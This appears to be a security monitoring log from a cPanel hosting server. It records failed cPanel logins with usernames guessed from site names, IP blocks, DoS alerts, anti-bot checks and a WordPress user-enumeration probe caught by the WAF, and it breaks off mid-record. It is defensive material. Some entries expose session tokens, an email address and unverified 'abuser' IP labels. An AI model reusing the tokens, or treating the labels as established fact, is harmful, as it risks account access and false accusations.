[2026-06-26 01:19:21 +0000] info [cpaneld] 38.39.7.226 - libertetogo "GET /login/?login_only=1&user=libertetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.204.21.251
country_id: 6252001
description:
[2026-06-26 01:19:39 +0000] info [cpaneld] 73.204.21.251 - an "GET /login/?login_only=1&user=an&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user an (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.61.187.109
country_id: 2921044
description:
Jun 26 01:19:56 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.61.187.109 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.93.199.11
country_id: 6252001
description:
[2026-06-26 01:19:22 +0000] info [cpaneld] 173.93.199.11 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.196.112.84
country_id: 6252001
description:
[2026-06-26 01:19:35 +0000] info [cpaneld] 73.196.112.84 - liberte "GET /login/?login_only=1&user=liberte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liberte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.152.130.78
country_id: 6252001
description:
[2026-06-26 01:19:49 +0000] info [cpaneld] 47.152.130.78 - lib "GET /login/?login_only=1&user=lib&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lib (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.82.178.108
country_id: 6252001
description:
[2026-06-26 01:20:03 +0000] info [cpaneld] 64.82.178.108 - liberte "GET /login/?login_only=1&user=liberte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liberte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.40.58.114
country_id: 6252001
description:
[2026-06-26 01:20:06 +0000] info [cpaneld] 206.40.58.114 - libert "GET /login/?login_only=1&user=libert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.112.143.149
country_id: 6252001
description:
[2026-06-26 01:20:00 +0000] info [cpaneld] 24.112.143.149 - libertet "GET /login/?login_only=1&user=libertet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.73.27.146
country_id: 6252001
description:
[2026-06-26 01:20:13 +0000] info [cpaneld] 173.73.27.146 - libe "GET /login/?login_only=1&user=libe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [26/Jun/2026:01:20:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853225&pdata=http%253A%252F%252Fsoena.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782436817 HTTP/1.1" 302 0 soena.tg "http://soena.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.165.56
country_id: 2363686
description:
[2026-06-26 01:20:43 +0000] info [cpaneld] 102.64.165.56 NEW ibwjkdoc:kM5uI6CBwCPiLITA address=102.64.165.56,app=cpaneld,creator=ibwjkdoc,method=handle_form_login,path=form,possessed=0


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.243.187.189
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.243.187.189: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.38.87.78
country_id: 2802361
description:
Denial of Service (DoS) attack was discovered from 34.38.87.78: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.231.47.160
country_id: 6252001
description:
[2026-06-26 01:21:11 +0000] info [cpaneld] 71.231.47.160 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.35.223.45
country_id: 1522867
description:
Jun 26 01:23:00 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.35.223.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 01:24:03 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.160.208.123
country_id: 2921044
description:
Jun 26 01:24:05 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.160.208.123 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 208.109.9.173
country_id: 1880251
domain: zephyr.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/5?_fields=id,slug,roles||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.97.227.82
country_id: 1861060
description:
Denial of Service (DoS) attack was discovered from 34.97.227.82: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.158.200.50
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 34.158.200.50: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.60.93.43
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.60.93.43: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.221.95
country_id: 2363686
description:
102.64.221.95 - - [26/Jun/2026:01:25:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854512&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D2009&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782437147 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=2009" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.221.95


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.122.166.27
country_id: 6252001
description:
[2026-06-26 01:26:01 +0000] info [cpaneld] 76.122.166.27 - p2p2rstogo "GET /login/?login_only=1&user=p2p2rstogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user p2p2rstogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.4.185.102
country_id: 6252001
description:
[2026-06-26 01:26:08 +0000] info [cpaneld] 50.4.185.102 - p2p2rsto "GET /login/?login_only=1&user=p2p2rsto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user p2p2rsto (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.236.193.102
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.236.193.102: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.173.234.24
country_id: 6252001
description:
[2026-06-26 01:26:29 +0000] info [cpaneld] 70.173.234.24 - p2 "GET /login/?login_only=1&user=p2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user p2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.221.54.93
country_id: 6252001
description:
[2026-06-26 01:26:12 +0000] info [cpaneld] 69.221.54.93 - p2p2rst "GET /login/?login_only=1&user=p2p2rst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user p2p2rst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.116.181.84
country_id: 6252001
description:
[2026-06-26 01:26:26 +0000] info [cpaneld] 23.116.181.84 - p2p "GET /login/?login_only=1&user=p2p&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user p2p (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.185.221.250
country_id: 6252001
description:
[2026-06-26 01:27:31 +0000] info [cpaneld] 173.185.221.250 - mediatopnews "GET /login/?login_only=1&user=mediatopnews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnews (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.32.80.203
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 34.32.80.203: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.234.193.180
country_id: 6252001
description:
[2026-06-26 01:27:36 +0000] info [cpaneld] 47.234.193.180 - mediatopnewstg "GET /login/?login_only=1&user=mediatopnewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.2.45.68
country_id: 6252001
description:
[2026-06-26 01:28:41 +0000] info [cpaneld] 73.2.45.68 - speau "GET /login/?login_only=1&user=speau&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user speau (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-26 01:28:56 +0000] info [cpaneld] 64.44.62.229 NEW mbyqtkiw:lkRgh_YRycnU7YN3 address=64.44.62.229,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.0
country_id: 6252001
description:
205.169.39.0 - - [26/Jun/2026:01:28:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328471&pdata=https%253A%252F%252Fcato.tg.saisine-cato.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782437324 HTTP/2.0" 302 0 cato.tg.saisine-cato.tg "https://cato.tg.saisine-cato.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-26 01:29:03 +0000] info [cpaneld] 104.28.160.166 - a.mathey "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.222.254.225
country_id: 6252001
description:
[2026-06-26 01:28:53 +0000] info [cpaneld] 31.222.254.225 - spe "GET /login/?login_only=1&user=spe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.250.39.4
country_id: 6252001
description:
[2026-06-26 01:28:37 +0000] info [cpaneld] 159.250.39.4 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.232.231.109
country_id: 1282988
description:
[2026-06-26 01:29:57 +0000] info [cpaneld] 103.232.231.109 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.47.43.188
country_id: 163843
description:
[2026-06-26 01:29:23 +0000] info [cpaneld] 94.47.43.188 - togocarrierebetons "GET /login/?login_only=1&user=togocarrierebetons&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrierebetons (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:01:29:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514117&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782437374 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.244.137
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:104.245.244.137||TA:104.245.244.137||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.231.228.89
country_id: 3996063
description:
[2026-06-26 01:29:33 +0000] info [cpaneld] 189.231.228.89 - togocarr "GET /login/?login_only=1&user=togocarr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.141.147
country_id: 1605651
description:
[2026-06-26 01:29:18 +0000] info [cpaneld] 184.22.141.147 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.119.50.72
country_id: 1210997
description:
[2026-06-26 01:29:30 +0000] info [cpaneld] 157.119.50.72 - togocarrierebetonstg "GET /login/?login_only=1&user=togocarrierebetonstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrierebetonstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.243.140.104
country_id: 6252001
description:
[2026-06-26 01:29:32 +0000] info [cpaneld] 23.243.140.104 - letabloid "GET /login/?login_only=1&user=letabloid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloid (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.20.103
country_id: 99237
description:
[2026-06-26 01:29:36 +0000] info [cpaneld] 169.224.20.103 - togocar "GET /login/?login_only=1&user=togocar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.84.203.32
country_id: 6252001
description:
[2026-06-26 01:29:48 +0000] info [cpaneld] 72.84.203.32 - letabl "GET /login/?login_only=1&user=letabl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-26 01:29:37 +0000] info [cpaneld] 104.28.160.166 - ayhhhyhk "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.176.2.74
country_id: 3469034
description:
[2026-06-26 01:29:41 +0000] info [cpaneld] 200.176.2.74 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.7.121.32
country_id: 3469034
description:
[2026-06-26 01:29:53 +0000] info [cpaneld] 200.7.121.32 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.250.28.160
country_id: 6252001
description:
[2026-06-26 01:30:00 +0000] info [cpaneld] 71.250.28.160 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.115.165
country_id: 798544
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:92.113.115.165||TA:92.113.115.165||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jun 26 01:30:17 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.124.237.144
country_id: 1522867
description:
[2026-06-26 01:31:09 +0000] info [cpaneld] 188.124.237.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.149.234.34
country_id: 6252001
description:
[2026-06-26 01:32:05 +0000] info [cpaneld] 47.149.234.34 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.131.124.186
country_id: 3469034
description:
[2026-06-26 01:31:34 +0000] info [cpaneld] 177.131.124.186 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.172.207.150
country_id: 298795
description:
[2026-06-26 01:31:36 +0000] info [cpaneld] 78.172.207.150 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.53.161.124
country_id: 6252001
description:
[2026-06-26 01:31:42 +0000] info [cpaneld] 108.53.161.124 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.68.227.8
country_id: 6252001
description:
[2026-06-26 01:31:48 +0000] info [cpaneld] 72.68.227.8 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.50.41.22
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 34.50.41.22: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.99.81.225
country_id: 6252001
description:
[2026-06-26 01:31:36 +0000] info [cpaneld] 174.99.81.225 - togocarrieretseviecom "GET /login/?login_only=1&user=togocarrieretseviecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretseviecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.252.230.53
country_id: 6252001
description:
[2026-06-26 01:31:39 +0000] info [cpaneld] 195.252.230.53 - togocar "GET /login/?login_only=1&user=togocar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.189.91.43
country_id: 3996063
description:
[2026-06-26 01:31:26 +0000] info [cpaneld] 187.189.91.43 - togofe "GET /login/?login_only=1&user=togofe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.184.21.236
country_id: 6252001
description:
[2026-06-26 01:31:32 +0000] info [cpaneld] 98.184.21.236 - togocarrieretsevie "GET /login/?login_only=1&user=togocarrieretsevie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretsevie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.107.125.44
country_id: 2017370
description:
[2026-06-26 01:31:39 +0000] info [cpaneld] 217.107.125.44 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.66.80.124
country_id: 1562822
description:
Jun 26 01:32:38 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.66.80.124 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.254
country_id: 6252001
description:
[2026-06-26 01:32:53 +0000] info [cpaneld] 107.174.169.254 NEW wcnyaruu:f0FxS7pstMCJ47Uv address=107.174.169.254,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.201.122.66
country_id: 6252001
description:
[2026-06-26 01:32:14 +0000] info [cpaneld] 73.201.122.66 - matwtog "GET /login/?login_only=1&user=matwtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtog (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-26 01:32:49 +0000] info [cpaneld] 5.230.153.114 NEW wcnyaruu:LvhVcDFUlzuGTCp2 address=5.230.153.114,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.231.182.232
country_id: 6252001
description:
[2026-06-26 01:32:30 +0000] info [cpaneld] 72.231.182.232 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.181.151
country_id: 1861060
domain: togofarm.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:108.165.181.151||TA:108.165.181.151||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-26 01:33:49 +0000] info [cpaneld] 5.230.133.117 NEW wcnyaruu:p85h7JJ5JcdiOAuf address=5.230.133.117,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.180
country_id: 1880251
description:
43.172.198.180 - - [26/Jun/2026:01:33:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723731&pdata=http%253A%252F%252Ftogodailynews.tg%252Fcedeao-la-celebration-du-jubile-dor-lancee-a-accra&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782437597 HTTP/1.1" 404 561 togodailynews.tg "http://togodailynews.tg/cedeao-la-celebration-du-jubile-dor-lancee-a-accra" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.180


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.99.84.97
country_id: 1643084
description:
2026-06-26 01:33:22 dovecot_plain authenticator failed for H=(localhost) [118.99.84.97]:61324: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.12
country_id: 1880251
description:
47.128.121.12 - - [26/Jun/2026:01:33:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6670698&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252F2022%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782437601 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/2022/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.12


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.54.200.19
country_id: 6252001
description:
[2026-06-26 01:35:36 +0000] info [cpaneld] 73.54.200.19 - lepointa "GET /login/?login_only=1&user=lepointa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepointa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.231.175.177
country_id: 6252001
description:
[2026-06-26 01:35:55 +0000] info [cpaneld] 47.231.175.177 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.114.9.174
country_id: 6252001
description:
[2026-06-26 01:35:30 +0000] info [cpaneld] 76.114.9.174 - lepointactu "GET /login/?login_only=1&user=lepointactu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepointactu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.198.171.180
country_id: 6252001
description:
[2026-06-26 01:35:34 +0000] info [cpaneld] 73.198.171.180 - lepointactutg "GET /login/?login_only=1&user=lepointactutg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepointactutg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.247.150.107
country_id: 6252001
description:
[2026-06-26 01:35:40 +0000] info [cpaneld] 69.247.150.107 - lepoint "GET /login/?login_only=1&user=lepoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepoint (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.118.0.76
country_id: 798544
description:
Denial of Service (DoS) attack was discovered from 34.118.0.76: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.74.32.66
country_id: 6252001
description:
[2026-06-26 01:36:36 +0000] info [cpaneld] 206.74.32.66 - certlogisticstogo "GET /login/?login_only=1&user=certlogisticstogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.115.130.48
country_id: 6252001
description:
